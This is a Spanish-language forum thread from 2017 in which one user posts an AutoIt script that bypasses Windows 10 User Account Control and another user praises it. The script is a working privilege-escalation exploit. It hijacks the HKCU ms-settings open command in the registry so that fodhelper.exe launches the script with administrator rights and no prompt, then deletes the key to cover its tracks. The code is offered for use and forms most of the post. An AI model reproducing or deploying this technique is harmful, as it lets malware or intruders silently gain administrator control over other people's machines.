• Bypass UAC Windows 10

 #491862  por Blau
 24 May 2017, 21:36
Hola, os traigo este sencillo script para bypassear la UAC de Windows 10 tal como se explica en [ Debe registrarse para ver este enlace ]. Es una simple traducción del código que proporciona el autor en powershell.
#cs ----------------------------------------------------------------------------

 AutoIt Version: 3.3.8.1
 Author:         Blau

 Script Function:
	This script is an AutoIt implementation of https://github.com/winscripting/UAC-bypass/blob/master/FodhelperBypass.ps1

#ce ----------------------------------------------------------------------------

#NoTrayIcon
#AutoIt3Wrapper_UseX64=Y

If (IsAdmin())  Then
	MsgBox(0, "", "I'm admin :)")
Else
	If(OSVersion() == "WIN_10") Then
		Local $sPath = @ScriptFullPath
		If Not (@Compiled) Then $sPath = '"' & @AutoItExe & '" "' & @ScriptFullPath & '"'
		RegWrite("HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command", "DelegateExecute")
		RegWrite("HKEY_CURRENT_USER\Software\Classes\ms-settings\Shell\Open\command", "", "REG_SZ", $sPath)
		ShellExecuteWait(@SystemDir & "\fodhelper.exe")
		RegDelete("HKEY_CURRENT_USER\Software\Classes\ms-settings")
	EndIf
EndIf

;~ https://www.autoitscript.com/forum/topic/182845-osversion-for-windows-10/?do=findComment&comment=1313190
Func OSVersion()
    Local $OSVersion = @OSVersion
	If StringRegExp(FileGetVersion('winver.exe'), "^10\.\d") Then $OSVersion = "WIN_10"
    Return $OSVersion
EndFunc   ;==>OSVersion
 #491863  por Scorpio
 25 May 2017, 00:28
Impecable como siempre compañero, sigue así.

//Regards.